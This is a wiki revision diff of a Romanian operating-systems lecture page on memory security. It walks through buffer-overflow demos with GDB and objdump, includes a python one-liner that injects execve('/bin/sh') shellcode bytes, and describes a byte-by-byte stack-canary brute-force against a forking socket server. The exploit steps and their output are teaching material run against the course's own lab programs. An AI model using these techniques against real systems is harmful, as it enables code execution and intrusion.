Differences

This shows you the differences between two versions of the page.

Link to this comparison view

so:cursuri:curs-07 [2015/05/06 03:57]
stefan_gabriel.mirea [Secțiuni și adrese în cadrul unui fișier executabil]
so:cursuri:curs-07 [2019/04/07 10:15] (current)
razvan.deaconescu [Stack buffer overflow cu shellcode pe stivă]
Line 1: Line 1:
 ====== Curs 07 - Securitatea memoriei ====== ====== Curs 07 - Securitatea memoriei ======
- 
- 
-<​html>​ 
-    <iframe src="​http://​docs.google.com/​viewer?​url=http://​elf.cs.pub.ro/​so/​res/​cursuri/​SO_Curs-07.pdf&​embedded=true"​ width="​600"​ height="​480"​ style="​border:​ none;">​ 
-    </​iframe>​ 
-</​html>​ 
  
   * [[http://​elf.cs.pub.ro/​so/​res/​cursuri/​SO_Curs-07.pdf | Curs 07 - Securitatea memoriei (PDF)]]   * [[http://​elf.cs.pub.ro/​so/​res/​cursuri/​SO_Curs-07.pdf | Curs 07 - Securitatea memoriei (PDF)]]
 +
 +  * [[https://​drive.google.com/​open?​id=1I6o71Sbffo1Ucb-4i7_55UBKo0MFKyHVqDEOPr_Q5Kc|Notițe de curs]]
  
   * Suport curs   * Suport curs
 +    * Modern Operating Systems, 3rd Edition
 +      * Chapter 9: Security
 +        * Section 9.6: Exploiting Code Bugs
     * Jon Erickson - Hacking: The Art of Exploitation,​ 2nd Edition     * Jon Erickson - Hacking: The Art of Exploitation,​ 2nd Edition
       * Section 0x270. Memory Segmentation       * Section 0x270. Memory Segmentation
       * Chapter 0x300. Exploitation       * Chapter 0x300. Exploitation
-    * [[http://io.smashthestack.org:84/|IO smashthestack ​wargame]] +    * [[https://io.netgarage.org|IO ​Netgarage ​wargame]] 
-    * [[http://www.phrack.org/​issues.html?​issue=49&id=14&​mode=txt| Aleph One - Smashing the Stack for Fun and Profit]] +    * [[http://​phrack.org/​issues/49/14.html|Aleph One - Smashing the Stack for Fun and Profit]] 
-    * [[http://www.cs.umd.edu/​class/​sum2003/​cmsc311/​Notes/​Mips/​stack.html|Understanding the Stack]] +    * [[http://​shell-storm.org/​shellcode/​|Shellcodes ​Database]]
-    * [[http://​repo.shell-storm.org/​shellcode/​|Shellcodes ​database]]+
     * [[http://​stackoverflow.com/​questions/​79923/​what-and-where-are-the-stack-and-heap|What and where are the stack and heap?]]     * [[http://​stackoverflow.com/​questions/​79923/​what-and-where-are-the-stack-and-heap|What and where are the stack and heap?]]
 +
 +<​html>​
 +  <​center>​
 +    <iframe src="​https://​docs.google.com/​viewer?​url=https://​elf.cs.pub.ro/​so/​res/​cursuri/​SO_Curs-07.pdf&​embedded=true"​ width="​600"​ height="​480"​ style="​border:​ none;">​
 +    </​iframe>​
 +  </​center>​
 +</​html>​
 +
 ===== Demo-uri ===== ===== Demo-uri =====
  
Line 48: Line 54:
 Prin rularea comenzii objdump de mai sus afișăm informații despre simboluri, în format pe coloane, astfel: Prin rularea comenzii objdump de mai sus afișăm informații despre simboluri, în format pe coloane, astfel:
   * În prima coloană sunt adresele simbolurilor. Aceste adrese se vor regăsi întocmai în proces (vom vedea în continuare). Adresele pot să difere în cazul obținerii executabilului pe alt sistem.   * În prima coloană sunt adresele simbolurilor. Aceste adrese se vor regăsi întocmai în proces (vom vedea în continuare). Adresele pot să difere în cazul obținerii executabilului pe alt sistem.
-  * A doua coloană este tipul simbolului. Simbolurile statice sunt marcate cu ''​l''​ (//local//) pentru că vor fi locale modulului. Celelalte sunt marcat ​cu ''​g''​ (//​global//​) și vor putea fi exportate în alte module.+  * A doua coloană este tipul simbolului. Simbolurile statice sunt marcate cu ''​l''​ (//local//) pentru că vor fi locale modulului. Celelalte sunt marcate ​cu ''​g''​ (//​global//​) și vor putea fi exportate în alte module.
   * A patra coloană este secțiunea din executabil unde este alocat simbolul. Simbolul este alocat în modul încă de la compile-time. Secțiunile sunt după cum urmează:   * A patra coloană este secțiunea din executabil unde este alocat simbolul. Simbolul este alocat în modul încă de la compile-time. Secțiunile sunt după cum urmează:
     * ''​.data'':​ variabile globale inițializate     * ''​.data'':​ variabile globale inițializate
Line 249: Line 255:
   * adresa de retur a funcției (''​0x080385af''​)   * adresa de retur a funcției (''​0x080385af''​)
  
-În continuare se rezervă spațiu pe stivă (''​0x38''​ - 56 de octeți) suficient pentru a acoperi nevoia pointer-ului (de 4 octeți) și a buffer-ului (de 16 octeți). Compilatorul alocă mai puțin ​spațiu. Stack pointer-ul va fi decrementat cu ''​0x38''​ octeți. Ținând cont de actuala valoare (''​0xffffd288''​) rezultă că noua valoare va fi ''​0xffffd288 - 0x38 = 0xffffd250''​. Verificăm acest lucru executând o nouă instrucțiune,​ folosind ''​si''​ (//step instruction//​) în GDB:<​code bash>+În continuare se rezervă spațiu pe stivă (''​0x38''​ - 56 de octeți) suficient pentru a acoperi nevoia pointer-ului (de 4 octeți) și a buffer-ului (de 16 octeți). Compilatorul alocă mai mult spațiu. Stack pointer-ul va fi decrementat cu ''​0x38''​ octeți. Ținând cont de actuala valoare (''​0xffffd288''​) rezultă că noua valoare va fi ''​0xffffd288 - 0x38 = 0xffffd250''​. Verificăm acest lucru executând o nouă instrucțiune,​ folosind ''​si''​ (//step instruction//​) în GDB:<​code bash>
 (gdb) si (gdb) si
 24 void (*func_ptr)(void) = actual_func;​ 24 void (*func_ptr)(void) = actual_func;​
Line 406: Line 412:
 Segmentation fault Segmentation fault
 </​code>​ </​code>​
-Ce s-a întâmplat este că am suprascris o parte din pointer-ul ''​func_ptr''​ și acesta ia o valorea de salt nepotrivită. Când se execută codul care se presupune că se află la adresa ​indicață de ''​func_ptr''​ se transmite //​Segmentation fault//.+Ce s-a întâmplat este că am suprascris o parte din pointer-ul ''​func_ptr''​ și acesta ia o valorea de salt nepotrivită. Când se execută codul care se presupune că se află la adresa ​indicată de ''​func_ptr''​ se transmite //​Segmentation fault//.
  
 Dorința noastră este să sărim la funcția ''​inject_func''​. Pentru aceasta, după cei 16 octeți indicați de buffer, vom scrie octeții aferenți adresei funcției ''​inject_func''​ (adică ''​0x21'',​ ''​0x85'',​ ''​0x04'',​ ''​0x08''​ -- suntem pe little endian). Acești patru octeți vor suprascrie pointer-ul ''​func_ptr''​ și vor forța saltul la funcția ''​inject_func'':<​code bash> Dorința noastră este să sărim la funcția ''​inject_func''​. Pentru aceasta, după cei 16 octeți indicați de buffer, vom scrie octeții aferenți adresei funcției ''​inject_func''​ (adică ''​0x21'',​ ''​0x85'',​ ''​0x04'',​ ''​0x08''​ -- suntem pe little endian). Acești patru octeți vor suprascrie pointer-ul ''​func_ptr''​ și vor forța saltul la funcția ''​inject_func'':<​code bash>
Line 528: Line 534:
   - Am afișat conținutul vârfului stivei pentru a afla adresa valorii de retur.   - Am afișat conținutul vârfului stivei pentru a afla adresa valorii de retur.
     * Adresa este ''​0xffffd27c''​ iar valoarea de retur este ''​0x08048555''​.     * Adresa este ''​0xffffd27c''​ iar valoarea de retur este ''​0x08048555''​.
-  - Am aflat adresa buffer-ului:​ ''​0xffffd27c''​.+  - Am aflat adresa buffer-ului:​ ''​0xffffd250''​.
 Diferența dintre adresa buffer-ul și adresa unde este stocată adresa de retur este ''​0xffffd27c - 0xffffd250 = 2c'',​ adică 44 de octeți. Diferența dintre adresa buffer-ul și adresa unde este stocată adresa de retur este ''​0xffffd27c - 0xffffd250 = 2c'',​ adică 44 de octeți.
  
-Pentru a suprascrie, așadar, adresa de retur vom scrie în buffer, de la intrarea standard, prin intermediul funcției ''​fgets'',​ 44 de caractere ''​A''​ (până la adresa de retur) urmată de octeții corespunzătorii adresei unde vrem să facem saltul. Adică octeții corespunzători shellcode-ului,​ adică ''​0x10'',​ ''​0x86'',​ ''​0x04'',​ ''​0x08''​. Acești octeți, reprezentând adresa shellcode-ului vor suprascrie adresa de retur corespunzătoare funcției ''​read_data''​. Consecința va fi că încheierea funcției ''​read_data'',​ în locul revenirii în funcția ''​main''​ (funcția apelantă), se va face salt în shellcode și se va crea un shell prin intermediul apelului ''​execve''​ codificat în shellcode.+Pentru a suprascrie, așadar, adresa de retur vom scrie în buffer, de la intrarea standard, prin intermediul funcției ''​fgets'',​ 44 de caractere ''​A''​ (până la adresa de retur) urmată de octeții corespunzători adresei unde vrem să facem saltul. Adică octeții corespunzători shellcode-ului,​ adică ''​0x10'',​ ''​0x86'',​ ''​0x04'',​ ''​0x08''​. Acești octeți, reprezentând adresa shellcode-ului vor suprascrie adresa de retur corespunzătoare funcției ''​read_data''​. Consecința va fi că încheierea funcției ''​read_data'',​ în locul revenirii în funcția ''​main''​ (funcția apelantă), se va face salt în shellcode și se va crea un shell prin intermediul apelului ''​execve''​ codificat în shellcode.
  
 Pentru a executa operațiile de mai sus, folosim ''​python''​ la fel ca mai devreme. Scriem ''​44''​ de caractere ''​A''​ urmate de octeții corespunzători shellcode-ului:<​code bash> Pentru a executa operațiile de mai sus, folosim ''​python''​ la fel ca mai devreme. Scriem ''​44''​ de caractere ''​A''​ urmate de octeții corespunzători shellcode-ului:<​code bash>
Line 601: Line 607:
   - octeții ''​\xb0'',​ ''​\xd2'',​ ''​\xff'',​ ''​\xff''​ reprezentând adresa de start a bufferului, adică începutul shellcode-ului   - octeții ''​\xb0'',​ ''​\xd2'',​ ''​\xff'',​ ''​\xff''​ reprezentând adresa de start a bufferului, adică începutul shellcode-ului
  
-Vom folosi, ca și mai devrem, python pentru a scrie informațiile de mai sus în buffer:<​code bash>+Vom folosi, ca și mai devreme, python pentru a scrie informațiile de mai sus în buffer:<​code bash>
 user@host:​~$ python -c 'print "​\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"​ + 19*"​A"​ + "​\xb0\xd2\xff\xff"'​ | ./​run-shellcode ​ user@host:​~$ python -c 'print "​\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"​ + 19*"​A"​ + "​\xb0\xd2\xff\xff"'​ | ./​run-shellcode ​
 Insert message (less than 32 bytes): buffer address: 0xffffd2b0 Insert message (less than 32 bytes): buffer address: 0xffffd2b0
Line 623: Line 629:
  
 Atacurile reale trebuie să țină cont de aceste mecanisme de protecție care sunt comune pe sistemele de operare moderne. Din acest motiv atacurile sunt dificil de realizat (dar nu imposibil), lucru care face selectă populația celor care sunt capabili să genereze atacuri de exploatare a vulnerabilităților memoriei. Atacurile reale trebuie să țină cont de aceste mecanisme de protecție care sunt comune pe sistemele de operare moderne. Din acest motiv atacurile sunt dificil de realizat (dar nu imposibil), lucru care face selectă populația celor care sunt capabili să genereze atacuri de exploatare a vulnerabilităților memoriei.
 +
 +==== Atacarea Stack Smashing Protection (SSP) ====
 +
 +Dorim să atacăm mecanismul defensiv //Stack Smashing Protection//​ (SSP) care presupune plasarea unei valori predefinite pe stivă (numită //stack canary// sau //stack guard//) care detectează atacurile asupra vulnerabilităților de tip buffer overflow ce ar suprasscrie addresa de retur. Pentru aceasta accesăm subdirectorul ''​socket-ssp/''​ care creează un fork-based server, adică un server ce creează un proces pentru fiecare conexiune; această particularitate ne permite atacarea SSP permițându-ne suprascrierea adresei de retur.
 +
 +Urmărim conținutul fișierului ''​socket_ssp.c''​. În acest fișier în funcția ''​main()''​ se creează un server socket și se acceptă conexiuni de tratarea cărora se ocupă un proces copil. În funcția ''​process_client()''​ se apelează funcția ''​actual_func()''​. Obiectivul nostru este să exploatăm vulnerabilitatea de tip buffer-overflow din funcția ''​process_client()''​ pentru a suprascrie adresa de retur și a apela funcția ''​inject_func()''​.
 +
 +Programul este compilat cu suport de //Stack Smashing Protection//​ care plasează stack canary pe stivă în funcția ''​process_client()''​. Opțiunea de compilare ''​-fstack-protector''​ este adăugată în fișierul ''​Makefile'':​
 +<​code>​
 +CFLAGS = -Wall -Wextra -g -fstack-protector -fno-PIC
 +</​code>​
 +
 +Compilăm programul (ignorăm warning-ul că funcția ''​inject_func()''​ nu este apelată, e utilă pentru atacul nostru):
 +<​code>​
 +$ make
 +cc -Wall -Wextra -g -fstack-protector -fno-PIC -I../​utils ​ -c -o socket_ssp.o socket_ssp.c
 +socket_ssp.c:​27:​13:​ warning: ‘inject_func’ defined but not used [-Wunused-function]
 + ​static void inject_func(void)
 +             ​^~~~~~~~~~~
 +cc -no-pie ​ socket_ssp.o ​  -o socket_ssp
 +</​code>​
 +și observăm prezența stack canary pe stivă la adresa ''​rbp-0x8''​ (în cazul nostru), poate fi altundeva în cazul vostru:
 +<​code>​
 +$ objdump -d -M intel socket_ssp | grep -A 6 '<​process_client>:'​
 +00000000004009c3 <​process_client>:​
 +  4009c3: ​      ​55 ​                     push   rbp
 +  4009c4: ​      48 89 e5                mov    rbp,rsp
 +  4009c7: ​      48 83 ec 20             ​sub ​   rsp,0x20
 +  4009cb: ​      64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
 +  4009d2: ​      00 00
 +  4009d4: ​      48 89 45 f8             ​mov ​   QWORD PTR [rbp-0x8],​rax
 +</​code>​
 +
 +În realizarea atacului, ținem cont că la ''​fork()''​ (modul de tratare a conexiunilor în implementarea ''​socket_ssp.c''​) se păstrează spațiul de adresă al procesului, se vor păstra și stack canary. Așa că le putem suprascrie din clientul TCP octet cu octet până nimerim. Când nimerim programul nu va genera eroare de tipul //stack smashing detection//​. Se va încheia cu succes, va întoarce mesaj pe rețea și atunci știm că am nimerit octetul și trecem la următorul.
 +
 +Atacul este descris în fișierul ''​exploit.py''​. Pentru a reuși trebuie să știm offset-ul dintre buffer și stack canary și adresa funcției ''​inject_func()''​. Ambele pot fi obținute prin dezasamblarea codului, identificarea construcției ce referă buffer-ul, valoarea stack canary și adresa funcției ''​inject_func()''​.
 +
 +De exemplu, pentru a identifica adresa buffer-ului și a stack canary urmărim dezasamblarea funcției ''​process_client()'':​
 +<​code>​
 +$ objdump -d -M intel socket_ssp | grep -A 21 '<​process_client>:'​
 +00000000004009c3 <​process_client>:​
 +  4009c3: ​      ​55 ​                     push   rbp
 +  4009c4: ​      48 89 e5                mov    rbp,rsp
 +  4009c7: ​      48 83 ec 20             ​sub ​   rsp,0x20
 +  4009cb: ​      64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
 +  4009d2: ​      00 00
 +  4009d4: ​      48 89 45 f8             ​mov ​   QWORD PTR [rbp-0x8],​rax
 +  4009d8: ​      31 c0                   ​xor ​   eax,eax
 +  4009da: ​      8b 05 ec 16 20 00       ​mov ​   eax,DWORD PTR [rip+0x2016ec] ​       # 6020cc <​connectfd>​
 +  4009e0: ​      48 8d 4d e0             ​lea ​   rcx,​[rbp-0x20]
 +  4009e4: ​      ba 64 00 00 00          mov    edx,0x64
 +  4009e9: ​      48 89 ce                mov    rsi,rcx
 +  4009ec: ​      89 c7                   ​mov ​   edi,eax
 +  4009ee: ​      e8 0d fe ff ff          call   ​400800 <​read@plt>​
 +  4009f3: ​      ​90 ​                     nop
 +  4009f4: ​      48 8b 45 f8             ​mov ​   rax,QWORD PTR [rbp-0x8]
 +  4009f8: ​      64 48 33 04 25 28 00    xor    rax,QWORD PTR fs:0x28
 +  4009ff: ​      00 00
 +  400a01: ​      74 05                   ​je ​    ​400a08 <​process_client+0x45>​
 +  400a03: ​      e8 a8 fd ff ff          call   ​4007b0 <​__stack_chk_fail@plt>​
 +  400a08: ​      ​c9 ​                     leave
 +  400a09: ​      ​c3 ​                     ret
 +</​code>​
 +Adresa buffer-ului este ''​rbp-0x20'',​ adresa stack canary este ''​rbp-0x8'',​ deci ofsset-ul este ''​0x20-0x8 = 0x18 = 24''​. Este trecută această valoare în ''​exploit.py''​
 +
 +Pentru a nu avea un executabil cu suport PIE (//Position Indenpendent Executable//​) și pentru a avea adrese fixe pentru funcțiile din cadrul executabilului,​ am folosit opțiunile corespunzătoare la compilare și linking în ''​Makefile'':​
 +<​code>​
 +CFLAGS = -Wall -Wextra -g -fstack-protector -fno-PIC
 +LDFLAGS = -no-pie
 +</​code>​
 +Adresa funcției ''​inject_func()''​ este fixă și o aflăm folosind ''​objdump'':​
 +<​code>​
 +$ objdump -d -M intel socket_ssp | grep '<​inject_func>:'​
 +00000000004009a5 <​inject_func>:​
 +</​code>​
 +La fel, adresa este trecută în ''​exploit.py''​.
 +
 +Acum putem realiza atacul. Pornim serverul pe o consolă:
 +<​code>​
 +$ ./​socket_ssp
 +
 +</​code>​
 +și atacul pe altă consolă. Atacul va dura să treacă prin toți octeții și să creeze un proces pentru fiecare socket. În final atacul va reuși și vom apela funcția ''​inject_func()''​. Un exemplu de atac este prezentat în fișierul ''​result.txt'':​
 +<​code>​
 +$ python exploit.py
 +Canary byte 0 is 0x00
 +Canary byte 1 is 0x0c
 +Canary byte 2 is 0xda
 +Canary byte 3 is 0x55
 +Canary byte 4 is 0x89
 +Canary byte 5 is 0x3c
 +Canary byte 6 is 0x40
 +Canary byte 7 is 0x71
 +Exploit result: Called injected function.
 +</​code>​
 +
so/cursuri/curs-07.1430873849.txt.gz · Last modified: 2015/05/06 03:57 by stefan_gabriel.mirea
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0